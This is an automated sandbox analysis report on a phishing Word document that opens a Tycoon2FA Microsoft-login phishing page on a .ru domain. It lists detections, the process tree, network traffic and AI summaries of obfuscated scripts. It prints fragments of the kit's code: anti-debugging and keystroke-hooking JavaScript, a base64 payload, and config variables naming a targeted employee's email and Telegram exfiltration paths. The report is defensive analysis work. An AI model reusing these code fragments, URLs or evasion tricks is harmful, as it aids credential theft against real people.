Joe Sandbox Cloud Basic Analysis Report
Edit tour

Windows Analysis Report
Revised - Hartzellprop.com 2025 Handbook29828.doc

Overview

General Information

Sample name:Revised - Hartzellprop.com 2025 Handbook29828.doc
Analysis ID:1648411
MD5:bbd0a54372d43b1ada50b740eab61580
SHA1:4bd60f0ff559ede01d69ceb0a067f8e3137af9c1
SHA256:c524174fb04ddfdc9bb28bc3cfa6d89b985f08c4fdb9e2803ebd0768e7f51e5b
Infos:

Detection

HTMLPhisher, Invisible JS, Tycoon2FA
Score:100
Range:0 - 100
Confidence:100%

Signatures

AI detected phishing page
Antivirus detection for URL or domain
Yara detected AntiDebug via timestamp check
Yara detected HtmlPhish10
Yara detected Invisible JS
Yara detected Obfuscation Via HangulCharacter
Yara detected Tycoon 2FA PaaS
AI detected landing page (webpage, office document or email)
AI detected suspicious Javascript
Creates files inside the system directory
Deletes files inside the Windows folder
HTML body contains low number of good links
HTML body contains password input but no form action
HTML page contains hidden javascript code
HTML title does not match URL
Invalid T&C link found
Queries information about the installed CPU (vendor, model number etc)
Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious

Process Tree

  • System is w10x64_ra
  • WINWORD.EXE (PID: 7076 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\Desktop\Revised - Hartzellprop.com 2025 Handbook29828.doc" /o "" MD5: 1A0C2C2E7D9C4BC18E91604E9B0C7678)
  • chrome.exe (PID: 5496 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ufw.xcsyiuul.ru/VgRu6z/#Mdbailey@hartzell.aero MD5: E81F54E6C1129887AEA47E7D092680BF)
    • chrome.exe (PID: 4912 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2044,i,8057322405824911935,2609143369417014995,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2064 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)
  • cleanup

Yara Signatures

Dropped Files

SourceRuleDescriptionAuthorStrings
dropped/chromecache_113JoeSecurity_HangulCharacterYara detected Obfuscation Via HangulCharacterJoe Security

    HTML

    SourceRuleDescriptionAuthorStrings
    0.0.d.script.csvJoeSecurity_Tycoon2FA_1Yara detected Tycoon 2FA PaaSJoe Security
      0.0.d.script.csvJoeSecurity_AntiDebugBrowserYara detected AntiDebug via timestamp checkJoe Security
        0.5.d.script.csvJoeSecurity_Tycoon2FA_1Yara detected Tycoon 2FA PaaSJoe Security
          0.1.d.script.csvJoeSecurity_HangulCharacterYara detected Obfuscation Via HangulCharacterJoe Security
            0.6..script.csvJoeSecurity_HangulCharacterYara detected Obfuscation Via HangulCharacterJoe Security
              Click to see the 18 entries

              Sigma Signatures

              ⊘No Sigma rule has matched

              Suricata Signatures

              ⊘No Suricata rule has matched

              Joe Sandbox Signatures

              • • AV Detection
              • • Phishing
              • • Compliance
              • • Software Vulnerabilities
              • • Networking
              • • System Summary
              • • Hooking and other Techniques for Hiding and Protection
              • • Malware Analysis System Evasion
              • • Language, Device and Operating System Detection

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Source: https://ufw.xcsyiuul.ru/VgRu6z/Avira URL Cloud: Label: phishing

              Phishing

              barindex
              Source: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQJoe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The URL 'ufw.xcsyiuul.ru' does not match the legitimate domain 'microsoft.com'., The domain 'xcsyiuul.ru' is unrelated to Microsoft and uses an unusual domain extension for the brand., The URL contains no recognizable association with Microsoft, indicating a high likelihood of phishing., The presence of a Russian domain extension '.ru' is suspicious for a brand like Microsoft, which typically uses '.com'. DOM: 1.4.pages.csv
              Source: Yara matchFile source: 1.4.pages.csv, type: HTML
              Source: Yara matchFile source: 1.3.pages.csv, type: HTML
              Source: Yara matchFile source: 0.1.d.script.csv, type: HTML
              Source: Yara matchFile source: 0.0.pages.csv, type: HTML
              Source: Yara matchFile source: 0.1.pages.csv, type: HTML
              Source: Yara matchFile source: 0.1.d.script.csv, type: HTML
              Source: Yara matchFile source: 0.6..script.csv, type: HTML
              Source: Yara matchFile source: 0.0.pages.csv, type: HTML
              Source: Yara matchFile source: 1.18..script.csv, type: HTML
              Source: Yara matchFile source: 0.1.pages.csv, type: HTML
              Source: Yara matchFile source: dropped/chromecache_113, type: DROPPED
              Source: Yara matchFile source: 1.16.d.script.csv, type: HTML
              Source: Yara matchFile source: 0.0.d.script.csv, type: HTML
              Source: Yara matchFile source: 0.5.d.script.csv, type: HTML
              Source: Yara matchFile source: 1.11..script.csv, type: HTML
              Source: Yara matchFile source: 0.9.d.script.csv, type: HTML
              Source: Yara matchFile source: 1.12..script.csv, type: HTML
              Source: Yara matchFile source: 1.4.pages.csv, type: HTML
              Source: Yara matchFile source: 1.3.pages.csv, type: HTML
              Source: Screenshot id: 5Joe Sandbox AI: Screenshot id: 5 contains QR code
              Source: Screenshot id: 8Joe Sandbox AI: Screenshot id: 8 contains QR code
              Source: Screenshot id: 6Joe Sandbox AI: Screenshot id: 6 contains QR code
              Source: Screenshot id: 7Joe Sandbox AI: Screenshot id: 7 contains QR code
              Source: 0.2..script.csvJoe Sandbox AI: Detected suspicious JavaScript with source url: https://ufw.xcsyiuul.ru/VgRu6z/... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob()` to decode base64-encoded strings, followed by `eval()` to execute the decoded content, poses a significant security risk. Additionally, the script appears to be sending user data to an untrusted domain, which is a clear indicator of potential malicious intent. Overall, this script exhibits a high level of suspicion and should be treated as a high-risk security threat.
              Source: 0.6..script.csvJoe Sandbox AI: Detected suspicious JavaScript with source url: https://ufw.xcsyiuul.ru/VgRu6z/... This script demonstrates high-risk behavior, including dynamic code execution through the use of a Proxy object that evaluates decoded strings. The obfuscated nature of the code and the potential for remote code execution make this a high-risk script.
              Source: 1.12..script.csvJoe Sandbox AI: Detected suspicious JavaScript with source url: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccp... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. It checks for the presence of web automation tools, redirects to a suspicious domain, and implements keylogging functionality to intercept user input. These behaviors are highly indicative of malicious intent, warranting a high-risk score.
              Source: 0.8..script.csvJoe Sandbox AI: Detected suspicious JavaScript with source url: https://ufw.xcsyiuul.ru/VgRu6z/... This script demonstrates several high-risk behaviors, including dynamic code execution, potential data exfiltration, and suspicious redirection. The use of obfuscated code, the presence of a debugger, and the attempt to override the context menu and keyboard events further increase the risk. Overall, this script exhibits a high level of malicious intent and should be considered a significant security threat.
              Source: 1.11..script.csvJoe Sandbox AI: Detected suspicious JavaScript with source url: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccp... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and aggressive DOM manipulation. It checks for the presence of web automation tools, redirects to a blank page, and intercepts various keyboard and clipboard events to prevent user interaction. Additionally, it includes an interval-based debugger trap that could potentially lead to a redirect to an untrusted domain. These behaviors are highly suspicious and indicate a potentially malicious intent, warranting a high-risk score.
              Source: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQHTTP Parser: Number of links: 0
              Source: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQHTTP Parser: <input type="password" .../> found but no <form action="...
              Source: https://ufw.xcsyiuul.ru/VgRu6z/#Mdbailey@hartzell.aeroHTTP Parser: Base64 decoded: if (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) { window.location = "about:blank";}document.addEventListener("keydown", function (event) { function PQcoCRZjjQ(event) { co...
              Source: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQHTTP Parser: Title: does not match URL
              Source: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQHTTP Parser: Invalid link: Terms of use
              Source: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQHTTP Parser: Invalid link: Privacy & cookies
              Source: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQHTTP Parser: Invalid link: Terms of use
              Source: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQHTTP Parser: Invalid link: Privacy & cookies
              Source: https://ufw.xcsyiuul.ru/VgRu6z/HTTP Parser: function ouotmouyxl(){ckoluckutc = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagpg1ldgegy2hhcnnldd0ivvrgltgipgogidxtzxrhig5hbwu9inzpzxdwb3j0iibjb250zw50psj3awr0ad1kzxzpy2utd2lkdggsigluaxrpywwtc2nhbgu9ms4wij4kica8dgl0bgu+vgvjacbtb2x1dglvbnmglsbjbm5vdmf0aw5nihrozsbgdxr1cmu8l3rpdgxlpgogidxzdhlszt4kicagigjvzhkgewogicagicbmb250lwzhbwlsetogqxjpywwsihnhbnmtc2vyawy7ciagicagigxpbmutagvpz2h0oiaxljy7ciagicagig1hcmdpbjogmdskicagicagcgfkzgluzzogmdskicagicagymfja2dyb3vuzc1jb2xvcjogi2y0zjrmndskicagicagy29sb3i6icmzmzm7ciagicb9ciagicbozwfkzxigewogicagicbiywnrz3jvdw5koiajmda1ytllowogicagicbjb2xvcjogi2zmzjskicagicagcgfkzgluzzogmjbwecawowogicagicb0zxh0lwfsawduoibjzw50zxi7ciagicb9ciagicbozwfkzxigadegewogicagicbtyxjnaw46ida7ciagicagigzvbnqtc2l6ztogmi41cmvtowogicagfqogicagbmf2ihskicagicagymfja2dyb3vuzdogizmzmzskicagicagy29sb3i6icnmzmy7ciagicagihbhzgrpbmc6idewchg7ciagicagihrlehqtywxpz246ignlbnrlcjskicagih0kicagig5hdibhihskicagicagy29sb3i6icnmzmy7ciagicagihrlehqtzgvjb3jhdglvbjogbm9uztskicagicagbwfyz2luoiawide1chg7c...
              Source: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQHTTP Parser: var otherweburl = "";var websitenames = ["godaddy", "okta"];var bes = ["apple.com","netflix.com"];var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"];var capnum = 1;var appnum = 1;var pvn = 0;var view = "";var pagelinkval = "vvrq1g";var emailcheck = "dbailey@hartzell.aero";var webname = "rtrim(/web8/, '/')";var urlo = "/vsikbijnydywap6qy1eqmmojvvvwgqfjqf8a4iiavozfao6ebkfrp1bmcm";var gdf = "/ghbclmoxtiuu1x5gutkq3skwx7y0wnjsvpwgab120";var odf = "/ijt4kcvgqfglyfd8ktydv1sbiwavhjuv8eipixc3budu4elh8mab647";var twa = 0;var currentreq = null;var requestsent = false;var pagedata = "";var redirecturl = "";var useragent = navigator.useragent;var browsername;var userip;var usercountry;var errorcodeexecuted = false;...
              Source: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQHTTP Parser: <input type="password" .../> found
              Source: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQHTTP Parser: No favicon
              Source: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQHTTP Parser: No favicon
              Source: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQHTTP Parser: No <meta name="author".. found
              Source: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQHTTP Parser: No <meta name="author".. found
              Source: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQHTTP Parser: No <meta name="copyright".. found
              Source: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQHTTP Parser: No <meta name="copyright".. found
              Source: unknownHTTPS traffic detected: 172.67.168.171:443 -> 192.168.2.17:49728 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 172.67.168.171:443 -> 192.168.2.17:49727 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.17:49735 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.17:49736 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.17:49737 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.16.4.189:443 -> 192.168.2.17:49738 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 142.250.65.164:443 -> 192.168.2.17:49739 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 172.67.149.248:443 -> 192.168.2.17:49740 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 172.67.168.171:443 -> 192.168.2.17:49741 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.29.234:443 -> 192.168.2.17:49742 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 13.107.246.40:443 -> 192.168.2.17:49743 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.87.24:443 -> 192.168.2.17:49746 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.17:49753 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 140.82.114.4:443 -> 192.168.2.17:49782 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.17:49784 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.17:49783 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 18.164.124.110:443 -> 192.168.2.17:49801 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.17:49795 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.26.0.100:443 -> 192.168.2.17:49857 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 172.67.159.28:443 -> 192.168.2.17:49867 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.26.0.100:443 -> 192.168.2.17:49876 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.33.57:443 -> 192.168.2.17:49879 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 13.107.246.40:443 -> 192.168.2.17:49900 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.17:50052 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.17:50053 version: TLS 1.2
              Source: winword.exeMemory has grown: Private usage: 2MB later: 26MB
              Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
              Source: unknownTCP traffic detected without corresponding DNS query: 51.132.193.104
              Source: unknownTCP traffic detected without corresponding DNS query: 2.17.190.73
              Source: unknownTCP traffic detected without corresponding DNS query: 52.109.28.46
              Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownTCP traffic detected without corresponding DNS query: 51.132.193.104
              Source: unknownTCP traffic detected without corresponding DNS query: 2.17.190.73
              Source: unknownTCP traffic detected without corresponding DNS query: 52.109.28.46
              Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
              Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.40
              Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.40
              Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.40
              Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.40
              Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.40
              Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.40
              Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.40
              Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.40
              Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.40
              Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.40
              Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.40
              Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.40
              Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.40
              Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.40
              Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.40
              Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.40
              Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.40
              Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.40
              Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.40
              Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.40
              Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.40
              Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.40
              Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.40
              Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.40
              Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.40
              Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.40
              Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.40
              Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.40
              Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.40
              Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.40
              Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.40
              Source: global trafficHTTP traffic detected: GET /VgRu6z/ HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ufw.xcsyiuul.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ufw.xcsyiuul.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://ufw.xcsyiuul.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=THmv2TRlDkspQl0SyYhYnkKWlFH9XRWKyQhV7GYPxKM-1742930636-1.0.1.1-Ncb_P7ezBxnIv4hdTRcKlct5mAK5s4G32eP.bHblRE8m5e0m69tV5ZfdGtxhGSHMlakpJ7y4hK4E2JyAFwzSCz5LPEXTHjEPvoainXLc8Yw
              Source: global trafficHTTP traffic detected: GET /loray!paq7g HTTP/1.1Host: wvsdp.hxnywi.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Origin: https://ufw.xcsyiuul.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ufw.xcsyiuul.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /loray!paq7g HTTP/1.1Host: wvsdp.hxnywi.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /VgRu6z/ HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://ufw.xcsyiuul.ru/VgRu6z/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlREN3dvanBEejUyNjBnV3V4SUIyY1E9PSIsInZhbHVlIjoiVmJZSzdFUXBLS0FDb0FoVU1BUmVxbDBlVUZuMGl5cDRoYzhGSVEva2VCb0lVbEcrYlMyQjFhb0Z1RkovZ2t0NThaTmEreXZhKzdqa0FNeXZMRHpXcHRHZnA5RFVwMkdtbzY0WHpSSWpqR0o1OUp2TFJOTTVXSjByditsOWFaeGsiLCJtYWMiOiJkOTc2NTNjOGU1ZmM2OThjZjU3YzdlOGY5OTU1ZDEzZmE2MmMyMTg5NmM0ZWNhY2ViNmYzZjdjNWFhZDQyNjM4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IldaVTNKbXJSVGF4UmVNYnRVMW5yZnc9PSIsInZhbHVlIjoibHdoT0I2NnVxZ255OG0rSmhMdWJyWkMxRHYrU2JjYndUcHR4emU4NTd1TXV3TWVmNlRPSCtyK1BlTmJIRDdVU2RnR2gzUXlKenF1NDRSNS93ZlFEQW5QRmZpK0dacWhjR0htRHpWaDR1Rmw0NGppaFZXazlMMVFKaDRCTm54Q3AiLCJtYWMiOiIwYzBmNzdmOTZhOTRlZWMxZmIzMTUzZjVjZjBjNjNkNGRkMmIwMmE4NjJhZDJkYWEwMDM5ODQ5NmE1OTQ5ODlkIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /hwL36fA3EvHybX827LLZj9rEuAAqb1CMtr HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlREN3dvanBEejUyNjBnV3V4SUIyY1E9PSIsInZhbHVlIjoiVmJZSzdFUXBLS0FDb0FoVU1BUmVxbDBlVUZuMGl5cDRoYzhGSVEva2VCb0lVbEcrYlMyQjFhb0Z1RkovZ2t0NThaTmEreXZhKzdqa0FNeXZMRHpXcHRHZnA5RFVwMkdtbzY0WHpSSWpqR0o1OUp2TFJOTTVXSjByditsOWFaeGsiLCJtYWMiOiJkOTc2NTNjOGU1ZmM2OThjZjU3YzdlOGY5OTU1ZDEzZmE2MmMyMTg5NmM0ZWNhY2ViNmYzZjdjNWFhZDQyNjM4IiwidGFnIjoiIn0%3D; 